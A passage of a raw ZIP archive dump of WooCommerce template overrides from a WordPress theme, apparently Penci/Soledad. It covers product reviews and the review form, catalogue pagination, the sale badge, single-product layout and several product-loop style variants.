					<?php echo yith_wcwl_kses_icon( $icon ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
					<?php echo esc_html( $label ); ?>
                </a>
            </div>
		<?php endif; ?>
	<?php endif; ?>
</div>
PK     N\޹    &  woocommerce/single-product-reviews.phpnu [        <?php
/**
 * Display single product reviews (comments)
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product-reviews.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 9.7.0
 */

defined( 'ABSPATH' ) || exit;

global $product;

if ( ! comments_open() ) {
	return;
}

$content_style = penci_get_single_product_meta( get_the_ID(), 'product_general', 'penci_single_product_style', get_theme_mod( 'penci_single_product_style', 'default' ) );
$content_style = 'accordion-content' == $content_style ? $content_style : 'default';
?>
<div id="reviews" class="woocommerce-Reviews penci-review-style-<?php echo esc_attr( $content_style ); ?>">
    <div id="comments">
		<?php if ( 'default' == $content_style ): ?>
            <h2 class="woocommerce-Reviews-title">
				<?php
				$count = $product->get_review_count();
				if ( $count && wc_review_ratings_enabled() ) {
					/* translators: 1: reviews count 2: product name */
					$reviews_title = sprintf( esc_html( _n( '%1$s review for %2$s', '%1$s reviews for %2$s', $count, 'woocommerce' ) ), esc_html( $count ), '<span>' . get_the_title() . '</span>' );
					echo apply_filters( 'woocommerce_reviews_title', $reviews_title, $count, $product ); // WPCS: XSS ok.
				} else {
					esc_html_e( 'Reviews', 'woocommerce' );
				}
				?>
            </h2>
		<?php endif; ?>

		<?php if ( have_comments() ) : ?>
            <ol class="commentlist">
				<?php wp_list_comments( apply_filters( 'woocommerce_product_review_list_args', array( 'callback' => 'woocommerce_comments' ) ) ); ?>
            </ol>

			<?php
			if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) :
				echo '<nav class="woocommerce-pagination">';
				paginate_comments_links(
					apply_filters(
						'woocommerce_comment_pagination_args',
						array(
							'prev_text' => is_rtl() ? '&rarr;' : '&larr;',
							'next_text' => is_rtl() ? '&larr;' : '&rarr;',
							'type'      => 'list',
						)
					)
				);
				echo '</nav>';
			endif;
			?>
		<?php else : ?>
            <p class="woocommerce-noreviews"><?php esc_html_e( 'There are no reviews yet.', 'woocommerce' ); ?></p>
		<?php endif; ?>
    </div>

	<?php if ( get_option( 'woocommerce_review_rating_verification_required' ) === 'no' || wc_customer_bought_product( '', get_current_user_id(), $product->get_id() ) ) : ?>
        <div id="review_form_wrapper">
            <div id="review_form">
				<?php
				$commenter    = wp_get_current_commenter();
				$comment_form = array(
					/* translators: %s is product title */
					'title_reply'         => have_comments() ? esc_html__( 'Add a review', 'woocommerce' ) : sprintf( esc_html__( 'Be the first to review &ldquo;%s&rdquo;', 'woocommerce' ), get_the_title() ),
					/* translators: %s is product title */
					'title_reply_to'      => esc_html__( 'Leave a Reply to %s', 'woocommerce' ),
					'title_reply_before'  => '<span id="reply-title" class="comment-reply-title">',
					'title_reply_after'   => '</span>',
					'comment_notes_after' => '',
					'label_submit'        => esc_html__( 'Submit', 'woocommerce' ),
					'logged_in_as'        => '',
					'comment_field'       => '',
				);

				$name_email_required = (bool) get_option( 'require_name_email', 1 );
				$fields              = array(
					'author' => array(
						'label'    => __( 'Name', 'woocommerce' ),
						'type'     => 'text',
						'value'    => $commenter['comment_author'],
						'required' => $name_email_required,
						'autocomplete' => 'name',
					),
					'email'  => array(
						'label'    => __( 'Email', 'woocommerce' ),
						'type'     => 'email',
						'value'    => $commenter['comment_author_email'],
						'required' => $name_email_required,
						'autocomplete' => 'email',
					),
				);

				$comment_form['fields'] = array();

				foreach ( $fields as $key => $field ) {
					$field_html  = '<p class="comment-form-' . esc_attr( $key ) . '">';
					$field_html .= '<label for="' . esc_attr( $key ) . '">' . esc_html( $field['label'] );

					if ( $field['required'] ) {
						$field_html .= '&nbsp;<span class="required">*</span>';
					}

					$field_html .= '</label><input id="' . esc_attr( $key ) . '" name="' . esc_attr( $key ) . '" type="' . esc_attr( $field['type'] ) . '" autocomplete="' . esc_attr( $field['autocomplete'] ) . '" value="' . esc_attr( $field['value'] ) . '" size="30" ' . ( $field['required'] ? 'required' : '' ) . ' /></p>';

					$comment_form['fields'][ $key ] = $field_html;
				}

				$account_page_url = wc_get_page_permalink( 'myaccount' );
				if ( $account_page_url ) {
					/* translators: %s opening and closing link tags respectively */
					$comment_form['must_log_in'] = '<p class="must-log-in">' . sprintf( esc_html__( 'You must be %1$slogged in%2$s to post a review.', 'woocommerce' ), '<a href="' . esc_url( $account_page_url ) . '">', '</a>' ) . '</p>';
				}

				if ( wc_review_ratings_enabled() ) {
					$comment_form['comment_field'] = '<div class="comment-form-rating"><label for="rating">' . esc_html__( 'Your rating', 'woocommerce' ) . ( wc_review_ratings_required() ? '&nbsp;<span class="required">*</span>' : '' ) . '</label><select name="rating" id="rating" required>
						<option value="">' . esc_html__( 'Rate&hellip;', 'woocommerce' ) . '</option>
						<option value="5">' . esc_html__( 'Perfect', 'woocommerce' ) . '</option>
						<option value="4">' . esc_html__( 'Good', 'woocommerce' ) . '</option>
						<option value="3">' . esc_html__( 'Average', 'woocommerce' ) . '</option>
						<option value="2">' . esc_html__( 'Not that bad', 'woocommerce' ) . '</option>
						<option value="1">' . esc_html__( 'Very poor', 'woocommerce' ) . '</option>
					</select></div>';
				}

				$comment_form['comment_field'] .= '<p class="comment-form-comment"><label for="comment">' . esc_html__( 'Your review', 'woocommerce' ) . '&nbsp;<span class="required">*</span></label><textarea id="comment" name="comment" cols="45" rows="8" required></textarea></p>';

				comment_form( apply_filters( 'woocommerce_product_review_comment_form_args', $comment_form ) );
				?>
            </div>
        </div>
	<?php else : ?>
        <p class="woocommerce-verification-required"><?php esc_html_e( 'Only logged in customers who have purchased this product may leave a review.', 'woocommerce' ); ?></p>
	<?php endif; ?>

    <div class="clear"></div>
</div>
PK     N\(bс      woocommerce/loop/loop-start.phpnu [        <?php
/**
 * Product Loop Start
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/loop/loop-start.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see         https://docs.woocommerce.com/document/template-structure/
 * @package     WooCommerce\Templates
 * @version 3.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
$classes   = array();
$classes[] = penci_woocommerce_get_product_loop_class();
$classes[] = 'products mobile-columns-' . wc_get_loop_prop( 'mobile-columns' );
$classes[] = 'columns-' . wc_get_loop_prop( 'columns' );
$classes   = apply_filters( 'penci_woo_loop_start', $classes );
?>
<ul data-item="<?php echo esc_attr( wc_get_loop_prop( 'columns' ) ); ?>" data-columns="<?php echo esc_attr( wc_get_loop_prop( 'columns' ) ); ?>"
    class="<?php echo implode( ' ', $classes ); ?>">
PK     N\@t\c
  c
    woocommerce/loop/pagination.phpnu [        <?php
/**
 * Pagination - Show numbered pagination for catalog pages
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/loop/pagination.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 9.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$loop_setting = wc_get_loop_prop( 'penci_woo_settings' );
$pagination   = wc_get_loop_prop( 'pagination' );
$shortcode    = wc_get_loop_prop( 'is_shortcode' );

$total         = isset( $total ) ? $total : wc_get_loop_prop( 'total_pages' );
$current       = isset( $current ) ? $current : wc_get_loop_prop( 'current_page' );
$base          = isset( $base ) ? $base : esc_url_raw( str_replace( 999999999, '%#%', remove_query_arg( 'add-to-cart', get_pagenum_link( 999999999, false ) ) ) );
$format        = isset( $format ) ? $format : '';
$data_settings = $data_class = $extra_class = '';

if ( $total <= 1 ) {
	return;
}

if ( penci_is_shop_archive() || penci_is_shop_catelog() ) {
	$data_class = get_theme_mod( 'penci_shop_product_pagination', 'pagination' ) . '-pagination';
}

if ( ! empty( $loop_setting ) && $shortcode ) {
	$data_settings = ' data-settings=\'' . $loop_setting . '\'';
	$data_class    = ' ajax-pagination';
}

if ( 'loadmore' == $pagination && ! empty( $loop_setting ) && $shortcode ) {
	$data_class = ' loadmore-pagination';
	$url_query  = penci_woo_ajax_url( $loop_setting );
	$nonce      = wp_create_nonce( 'ajax-nonce' );
	$base       = esc_url_raw( admin_url( 'admin-ajax.php?action=penci_ajax_load_products&requestid=' . $nonce . '&' . $url_query . '&product-page=%#%' ) );
}

if ( wc_get_loop_prop( 'loopid' ) ) {
	$extra_class = ' ' . wc_get_loop_prop( 'loopid' );
}

?>
<nav class="woocommerce-pagination <?php echo $data_class . $extra_class; ?>"<?php echo $data_settings; ?>>
	<?php
	echo paginate_links(
		apply_filters(
			'woocommerce_pagination_args',
			array( // WPCS: XSS ok.
				'base'      => $base,
				'format'    => $format,
				'add_args'  => false,
				'current'   => max( 1, $current ),
				'total'     => $total,
				'prev_text' => is_rtl() ? '&rarr;' : '&larr;',
				'next_text' => is_rtl() ? '&larr;' : '&rarr;',
				'type'      => 'list',
				'end_size'  => 3,
				'mid_size'  => 3,
			)
		)
	);
	?>
</nav>
PK     N\Qv$      woocommerce/loop/sale-flash.phpnu [        <?php
/**
 * Product loop sale flash
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/loop/sale-flash.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see         https://docs.woocommerce.com/document/template-structure/
 * @package     WooCommerce\Templates
 * @version 1.6.4
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

global $post, $product;
echo apply_filters( 'woocommerce_sale_flash', '<span class="onsale">' . penci_woo_translate_text( 'penci_woo_trans_sale' ) . '</span>', $post, $product );


/* Omit closing PHP tag at the end of PHP files to avoid "headers already sent" issues. */
PK     N\uGQ	  Q	  #  woocommerce/content-product-cat.phpnu [        <?php
/**
 * The template for displaying product category thumbnails within loops
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/content-product-cat.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 4.7.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
$elementor_loop = wc_get_loop_prop( 'elementor' );
$style          = wc_get_loop_prop( 'product_categories_style' );
$index          = wc_get_loop_prop( 'loop' );
$loop_by        = wc_get_loop_prop( 'loop_by' );
$total          = wc_get_loop_prop( 'total' );
$before_item    = $after_item = '';

if ( ! in_array( $style, array( 'default', 'carousel' ) ) && $total - $index > 1 && $index && $loop_by ) {
	$after_item = ( $loop_by - 1 == $index % $loop_by ) ? '</ul><ul>' : '';
}

$item_class = $style == 'carousel' ? 'swiper-slide' : 'normal-item';

echo $before_item;
?>
    <li <?php wc_product_cat_class( $item_class, $category ); ?>>
        <div class="penci-product-cat-loop">
		    <?php
			/**
			 * The woocommerce_before_subcategory hook.
			 *
			 * @hooked woocommerce_template_loop_category_link_open - 10
			 */
			do_action( 'woocommerce_before_subcategory', $category );

			/**
			 * The woocommerce_before_subcategory_title hook.
			 *
			 * @hooked woocommerce_subcategory_thumbnail - 10
			 */
			do_action( 'woocommerce_before_subcategory_title', $category );

			/**
			 * The woocommerce_shop_loop_subcategory_title hook.
			 *
			 * @hooked woocommerce_template_loop_category_title - 10
			 */
			do_action( 'woocommerce_shop_loop_subcategory_title', $category );

			/**
			 * The woocommerce_after_subcategory_title hook.
			 */
			do_action( 'woocommerce_after_subcategory_title', $category );

			/**
			 * The woocommerce_after_subcategory hook.
			 *
			 * @hooked woocommerce_template_loop_category_link_close - 10
			 */
			do_action( 'woocommerce_after_subcategory', $category );
			?>
        </div>
    </li>
<?php echo $after_item;
PK     N\
P      woocommerce/content-product.phpnu [        <?php
/**
 * The template for displaying product content within loops
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/content-product.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 9.4.0
 */

 defined( 'ABSPATH' ) || exit;

 global $product;
 
 // Check if the product is a valid WooCommerce product and ensure its visibility before proceeding.
 if ( ! is_a( $product, WC_Product::class ) || ! $product->is_visible() ) {
   return;
 }
$product_style = penci_get_product_loop_class();
$layout = wc_get_loop_prop('layout') == 'carousel' ? 'swiper-slide' : 'normal-item';
?>
<li <?php wc_product_class( $layout, $product ); ?>>
    <div class="penci-soledad-product <?php echo esc_attr( $product_style ); ?>">
		<?php do_action( 'penci_before_product_loop' ); ?>
        <div class="penci-product-loop-inner-content">
			<?php wc_get_template_part( 'product-loop/content', $product_style ); ?>
        </div>
		<?php do_action( 'penci_end_product_loop' ); ?>
    </div>
</li>
PK     N\	Ĺ    &  woocommerce/content-single-product.phpnu [        <?php
/**
 * The template for displaying product content in the single-product.php template
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/content-single-product.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 3.6.0
 */

defined( 'ABSPATH' ) || exit;

global $product;
$sticky            = get_theme_mod( 'penci_single_product_sticky_thumbnail_content', false );
$sticky_class      = $sticky ? 'penci-main-sticky-sidebar' : 'penci-main-normal-sidebar';

$sticky_content            = get_theme_mod( 'penci_sidebar_sticky', false );
$sticky_content_class      = $sticky_content ? 'penci-content-sticky-sidebar' : 'penci-content-normal-sidebar';

$sidebar_placement = penci_woo_sidebar_placement();

$container_class = 'both' == $sidebar_placement ? 'container-wrap' : 'container';
$classes         = 'both' == $sidebar_placement ? 'container sidebar-both' : 'container-wrap sidebar-bottom';
?>
<div class="container">
	<?php
	/**
	 * Hook: woocommerce_before_single_product.
	 *
	 * @hooked woocommerce_output_all_notices - 10
	 */
	do_action( 'woocommerce_before_single_product' );

	if ( post_password_required() ) {
		echo get_the_password_form(); // WPCS: XSS ok.

		return;
	}
	?>
</div>
<div id="product-<?php the_ID(); ?>" <?php wc_product_class( $classes, $product ); ?>>

	<?php if ( 'both' == $sidebar_placement ): ?>

    <div class="penci-single-product-sidebar-wrap">
        <div class="theiaStickySidebar">
			<?php endif; ?>


            <div class="penci-single-product-top-container">
                <div class="<?php echo esc_attr( $container_class ); ?>">
					<?php
					/**
					 * Hook: woocommerce_before_single_product_summary.
					 *
					 * @hooked woocommerce_show_product_sale_flash - 10
					 * @hooked woocommerce_show_product_images - 20
					 */
					do_action( 'woocommerce_before_single_product_summary' );
					?>

                    <div class="penci-product-summary summary entry-summary <?php echo esc_attr( $sticky_class ); ?>">
                        <div class="theiaStickySidebar">
							<?php
							/**
							 * Hook: woocommerce_single_product_summary.
							 *
							 * @hooked woocommerce_template_single_title - 5
							 * @hooked woocommerce_template_single_rating - 10
							 * @hooked woocommerce_template_single_price - 10
							 * @hooked woocommerce_template_single_excerpt - 20
							 * @hooked woocommerce_template_single_add_to_cart - 30
							 * @hooked woocommerce_template_single_meta - 40
							 * @hooked woocommerce_template_single_sharing - 50
							 * @hooked WC_Structured_Data::generate_product_data() - 60
							 */
							do_action( 'woocommerce_single_product_summary' );
							?>
                        </div>
                    </div>
                </div>
            </div>
            <div class="penci-single-product-bottom-container">
                <div class="<?php echo esc_attr( $container_class . ' ' . $sticky_content_class ); ?>">
                    <div class="bottom-content">
                        <div class="theiaStickySidebar">
							<?php
							/**
							 * Hook: woocommerce_after_single_product_summary.
							 *
							 * @hooked woocommerce_output_product_data_tabs - 10
							 * @hooked woocommerce_upsell_display - 15
							 * @hooked woocommerce_output_related_products - 20
							 */
							do_action( 'woocommerce_after_single_product_summary' );
							?>
                        </div>
                    </div>
					<?php
					if ( 'bottom' == $sidebar_placement ) {
						do_action( 'penci_single_product_sidebar' );
					}
					?>
                </div>
            </div>
			<?php if ( 'both' == $sidebar_placement ): ?>
        </div>
    </div>
<?php
do_action( 'penci_single_product_sidebar' );
endif; ?>
</div>

<?php do_action( 'woocommerce_after_single_product' ); ?>
PK     N\p     ,  woocommerce/product-loop/content-style-2.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		?>
    </div>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
			<?php
			do_action( 'woocommerce_after_shop_loop_item' );
			do_action( 'penci_loop_product_buttons' );
			?>
        </div>
    </div>
</div>
<div class="penci-product-loop-title">

    <div class="product-title-top">
		<?php
		/**
		 * Hook: woocommerce_shop_loop_item_title.
		 *
		 * @hooked woocommerce_template_loop_product_title - 10
		 */
		do_action( 'woocommerce_shop_loop_item_title' );
		?>
    </div>
    <div class="product-title-bottom">
		<?php
		/**
		 * Hook: woocommerce_after_shop_loop_item_title.
		 *
		 * @hooked woocommerce_template_loop_rating - 5
		 * @hooked woocommerce_template_loop_price - 10
		 */
		do_action( 'woocommerce_after_shop_loop_item_title' );
		do_action( 'penci_swatches_loop' );
		do_action( 'penci_after_shop_loop' );
		?>
    </div>
</div>
PK     N\-  -  ,  woocommerce/product-loop/content-style-4.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		?>
    </div>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
			<?php
			do_action( 'penci_loop_product_buttons' );
			?>
        </div>
    </div>
</div>
<div class="penci-product-loop-title">
	<?php
	do_action( 'penci_swatches_loop' );
	/**
	 * Hook: woocommerce_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_product_title - 10
	 */
	do_action( 'woocommerce_shop_loop_item_title' );

	/**
	 * Hook: woocommerce_after_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_rating - 5
	 * @hooked woocommerce_template_loop_price - 10
	 */
	do_action( 'woocommerce_after_shop_loop_item_title' );
	do_action( 'woocommerce_after_shop_loop_item' );
	do_action( 'penci_after_shop_loop' );
	?>
</div>
PK     N\I:;  ;  ,  woocommerce/product-loop/content-style-6.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		?>
    </div>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
		    <?php
		    do_action( 'woocommerce_after_shop_loop_item' );
		    do_action( 'penci_loop_product_buttons' );
		    ?>
        </div>
    </div>
</div>
<div class="penci-product-loop-title">
	<?php
	/**
	 * Hook: woocommerce_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_product_title - 10
	 */
	do_action( 'woocommerce_shop_loop_item_title' );

	/**
	 * Hook: woocommerce_after_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_rating - 5
	 * @hooked woocommerce_template_loop_price - 10
	 */
	do_action( 'penci_swatches_loop' );
	do_action( 'woocommerce_after_shop_loop_item_title' );
	do_action( 'penci_after_shop_loop' );
	?>
</div>
PK     N\{0  0  ,  woocommerce/product-loop/content-style-7.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		?>
    </div>
</div>
<div class="penci-product-loop-title">
	<?php
	/**
	 * Hook: woocommerce_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_product_title - 10
	 */
	do_action( 'woocommerce_shop_loop_item_title' );

	do_action( 'penci_swatches_loop' );

	/**
	 * Hook: woocommerce_after_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_rating - 5
	 * @hooked woocommerce_template_loop_price - 10
	 */
	do_action( 'woocommerce_after_shop_loop_item_title' );
	do_action( 'penci_after_shop_loop' );
	?>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
			<?php
			do_action( 'woocommerce_after_shop_loop_item' );
			do_action( 'penci_loop_product_buttons' );
			?>
        </div>
    </div>
</div>
PK     N\    )  woocommerce/product-loop/progress-bar.phpnu [        <div class="penci-stock-progress-bar">
    <div class="stock-info">
        <div class="total-sold"><?php echo penci_woo_translate_text('penci_woo_trans_ordered'); ?>
            <span><?php esc_html_e( $args['total_sold'] ); ?></span>
        </div>
        <div class="current-stock"><?php echo penci_woo_translate_text('penci_woo_trans_items_avail'); ?>
            <span><?php esc_html_e( $args['current_stock'] ); ?></span>
        </div>
    </div>
    <div class="progress-area"
         title="<?php echo penci_woo_translate_text('penci_woo_trans_sold'); ?> <?php esc_html_e( $args['percentage'] ); ?>%">
        <div class="progress-bar" style="width:<?php echo esc_attr( $args['percentage'] ); ?>%;"></div>
    </div>
</div>
PK     N\&am  m  )  woocommerce/product-loop/content-list.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		?>
    </div>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
			<?php
			do_action( 'woocommerce_after_shop_loop_item' );
			do_action( 'penci_loop_product_buttons' );
			?>
        </div>
    </div>
</div>
<div class="penci-product-loop-title">
	<?php
	/**
	 * Hook: woocommerce_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_product_title - 10
	 */
	do_action( 'penci_swatches_loop' );
	do_action( 'woocommerce_shop_loop_item_title' );

	/**
	 * Hook: woocommerce_after_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_rating - 5
	 * @hooked woocommerce_template_loop_price - 10
	 */
	do_action( 'woocommerce_after_shop_loop_item_title' );
	?>
    <div class="penci-list-summary entry-summary">
		<?php woocommerce_template_single_excerpt(); ?>
    </div>
    <div class="penci-list-action">
		<?php woocommerce_template_loop_add_to_cart(); ?>
    </div>
	<?php do_action( 'penci_after_shop_loop' ); ?>
</div>
PK     N\k/  /  ,  woocommerce/product-loop/content-style-1.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		?>
    </div>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
			<?php
			do_action( 'woocommerce_after_shop_loop_item' );
			do_action( 'penci_loop_product_buttons' );
			?>
        </div>
    </div>
</div>
<div class="penci-product-loop-title">
	<?php
	/**
	 * Hook: woocommerce_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_product_title - 10
	 */
	do_action( 'penci_swatches_loop' );
	do_action( 'woocommerce_shop_loop_item_title' );

	/**
	 * Hook: woocommerce_after_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_rating - 5
	 * @hooked woocommerce_template_loop_price - 10
	 */
	do_action( 'woocommerce_after_shop_loop_item_title' );
	do_action( 'penci_after_shop_loop' );
	?>
</div>
PK     N\(PZv  v  ,  woocommerce/product-loop/content-style-5.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		?>
    </div>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
			<?php
			do_action( 'penci_loop_product_buttons' );
			?>
        </div>
    </div>
    <div class="penci-product-loop-extra-buttons">
		<?php do_action( 'woocommerce_after_shop_loop_item' ); ?>
    </div>
</div>
<div class="penci-product-loop-title">
	<?php

	do_action( 'penci_swatches_loop' );
	/**
	 * Hook: woocommerce_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_product_title - 10
	 */
	do_action( 'woocommerce_shop_loop_item_title' );

	/**
	 * Hook: woocommerce_after_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_rating - 5
	 * @hooked woocommerce_template_loop_price - 10
	 */
	do_action( 'woocommerce_after_shop_loop_item_title' );
	do_action( 'penci_after_shop_loop' );
	?>
</div>
PK     N\B[
  
  -  woocommerce/product-loop/content-standard.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
do_action( 'woocommerce_before_shop_loop_item' );

/**
 * Hook: woocommerce_before_shop_loop_item_title.
 *
 * @hooked woocommerce_show_product_loop_sale_flash - 10
 * @hooked woocommerce_template_loop_product_thumbnail - 10
 */
do_action( 'woocommerce_before_shop_loop_item_title' );

/**
 * Hook: woocommerce_shop_loop_item_title.
 *
 * @hooked woocommerce_template_loop_product_title - 10
 */
do_action( 'woocommerce_shop_loop_item_title' );

/**
 * Hook: woocommerce_after_shop_loop_item_title.
 *
 * @hooked woocommerce_template_loop_rating - 5
 * @hooked woocommerce_template_loop_price - 10
 */
do_action( 'woocommerce_after_shop_loop_item_title' );

/**
 * Hook: woocommerce_after_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_close - 5
 * @hooked woocommerce_template_loop_add_to_cart - 10
 */
do_action( 'woocommerce_after_shop_loop_item' );
do_action( 'penci_after_shop_loop' );
PK     N\ (/  /  ,  woocommerce/product-loop/content-style-3.phpnu [        <?php
/**
 * Hook: woocommerce_before_shop_loop_item.
 *
 * @hooked woocommerce_template_loop_product_link_open - 10
 */
?>
<div class="penci-product-loop-top">
    <div class="penci-product-loop-image">
		<?php
		/**
		 * Hook: woocommerce_before_shop_loop_item_title.
		 *
		 * @hooked woocommerce_show_product_loop_sale_flash - 10
		 * @hooked woocommerce_template_loop_product_thumbnail - 10
		 */
		do_action( 'woocommerce_before_shop_loop_item' );
		do_action( 'woocommerce_before_shop_loop_item_title' );
		do_action( 'penci_loop_product_image' );
		do_action( 'woocommerce_after_shop_loop_item' );
		?>
    </div>
    <div class="penci-product-loop-buttons">
        <div class="penci-product-loop-button">
			<?php
			do_action( 'penci_loop_product_buttons' );
			?>
